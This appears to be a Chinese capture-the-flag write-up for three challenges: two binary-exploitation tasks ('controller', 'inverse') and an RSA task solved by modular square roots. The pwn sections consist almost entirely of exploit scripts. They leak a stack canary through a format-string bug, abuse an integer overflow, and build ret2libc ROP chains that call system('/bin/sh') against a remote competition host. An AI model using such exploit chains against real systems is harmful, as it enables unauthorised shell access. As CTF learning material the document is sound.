

controller

格式化字符串泄露canary之后打ret2libc即可。

```
1  from evilblade import *
2
3  context(os='linux', arch='amd64')
4  context(os='linux', arch='amd64', log_level='debug')
5
6  setup('./pwn')
7  libset('./libc-2.27.so')
8  evgdb()
9  rsetup('124.71.135.126', 30024)
10
11  rdi = 0x0000000000402533 # pop rdi ; ret
12  putsg = gotadd('puts')
13  puts = pltadd('puts')
14
15  sl(b'6')
16  sl(b'2')
17  sl(b'2')
18  sla('fo', b'%13$p')
19
20  sl(b'')
21  sl(b'1')
22  sl(b'')
23
24  ru(b'No.2')
25  addx = getx(-13, -1)
26  base = addx - 0x21c87
27  dpx('libcbase', base)
28
29  sl(b'6')
30  sl(b'2')
31
32  addx=tet()
33  addx=tet()
34  addx=tet()
35  addx=tet()
36  addx=tet()
37  addx=tet()
38  addx=tet()
39  addx=tet()
40  addx=tet()
41  addx=tet()
42  addx=tet()
43  addx=tet()
44  addx=tet()
45  addx=tet()
46  addx=tet()
47  addx=tet()
48
49  can = getx(-19, -1)
50  dpx('can', can)
```

```

51
52 #需要泄露canary
53 sl(b'0')
54 sl(b'0')
55 sl(b'')
56
57 sl(b'9')
58 sla('ame:',b's'*1)
59 sh = base+0x00000000001b3d88
60 sys = pltadd('system')
61 ret = 0x0000000000400b3e
62 #sla(b'password:',b'\x00\x02aaaaaa'+p64(can)+p64(0x400d20))
63 sla(b'password:',b'\x00\x02aaaaaa'+p64(can)+b'aaaaaaa'+p64(rdi)+p64(sh)+p6
4(ret)*3+p64(sys))
64
65 ia()

```

inverse

ret2libc和整数溢出

```

1  from evilblade import *
2
3  context(os='linux', arch='amd64')
4  context(os='linux', arch='amd64', log_level='debug')
5
6  setup('./pwn')
7  libset('./libc-2.27.so')
8  evgdb()
9  rsetup('124.71.135.126',30007)
10
11 tag = 0x804C030
12 puts = pltadd('puts')
13 putsg = gotadd('puts')
14 sa(':',b'/bin/sh')
15 sl(b'-1')
16 sla(':',b'a'*(0x3c+4)+p32(puts)+p32(0x80493d5)+p32(putsg))
17 add = getx64(0,-17)
18 base = getbase(add,'puts')
19 pause()
20 sl(b'-1')
21 sys = symoff('system',base)
22 sh = base + 0x0017b9db
23 sl(b'a'*(0x3c+4)+p32(sys)+p32(0xdeadbeef)+p32(sh)+p32(0xdeadbeef))
24 ia()

```

ezrsa

求模平方根即可。

```

1  n =
   412482079973710723630883700852439735510778695041476999618132433355695015420
   698005940640276732772531223867305358114864143849421232015766539520833757555
   6385
2  m =
   131079395635074597746162041412537474892320633362041739441232632845076043288
   856800724786690169694283666673813580040592042071348179526200147386654507531
   47857
3  def legendre_symbol(a, p):
4      # 计算雅可比符号 (a/p)
5      if a % p == 0:
6          return 0
7      elif pow(a, (p - 1) // 2, p) == 1:
8          return 1
9      else:
10         return -1
11
12 def mod_sqrt(n, p):
13     # Tonelli-Shanks 算法求模平方根
14     if legendre_symbol(n, p) != 1:
15         raise Exception('No modular square root exists')
16
17     q = p - 1
18     s = 0
19     while q % 2 == 0:
20         q //= 2
21         s += 1
22
23     if s == 1:
24         return pow(n, (p + 1) // 4, p)
25
26     z = 2
27     while legendre_symbol(z, p) != -1:
28         z += 1
29
30     c = pow(z, q, p)
31     r = pow(n, (q + 1) // 2, p)
32     t = pow(n, q, p)
33     m = s
34
35     while t != 1:
36         i = 1
37         while pow(t, 2**i, p) != 1:
38             i += 1
39
40         b = pow(c, 2**(m - i - 1), p)
41         r = (r * b) % p
42         t = (t * b * b) % p
43         c = (b * b) % p
44         m = i
45
46     return r
47
48 def solve_quadratic_congruence(n, m):
49     # 解二次同余方程  $x^2 \equiv n \pmod{m}$ 
50     if m == 2:

```

```

51         return [n % 2, (n % 2) ^ 1] # 对于模2, 只有0和1两个解
52
53     solutions = []
54
55     # 判断模平方根是否存在
56     if pow(n, (m - 1) // 2, m) != 1:
57         raise Exception('No solution exists')
58
59     # 计算模平方根
60     sqrt_n = mod_sqrt(n, m)
61
62     # 解方程
63     x1 = sqrt_n
64     x2 = m - sqrt_n
65
66     solutions.append(x1)
67     solutions.append(x2)
68
69     return solutions
70
71 # 示例用法
72 result = solve_quadratic_congruence(n, m)
73 print(f"Solutions for  $x^2 \equiv \{n\} \pmod{\{m\}}$ : {result}")
74 '''
75 >>> from Crypto.Util.number import *
76 >>>
77     long_to_bytes(1310793956350745977461620414125374748923206333620417394412326
78     327146759984606515397865797539826130253596819912759714582800472711904765717
79     9535038810099310932)
80     b'\xfaFF"\x0bxn\x93\xd1\xfd8\x91\x8d;g\x8c\xf7Wj\xcf\x8c\xde\x94\x14\xea\xda
81     9\xfdB\xd5\x16\xe4>\xe5\xdf%
82     (\xb29^\x87v\x04\x9eOV\xc9\xd18\xc6o\x08\xb8vL\x16N\xb6\xede\xf9\x13\x90aT'

```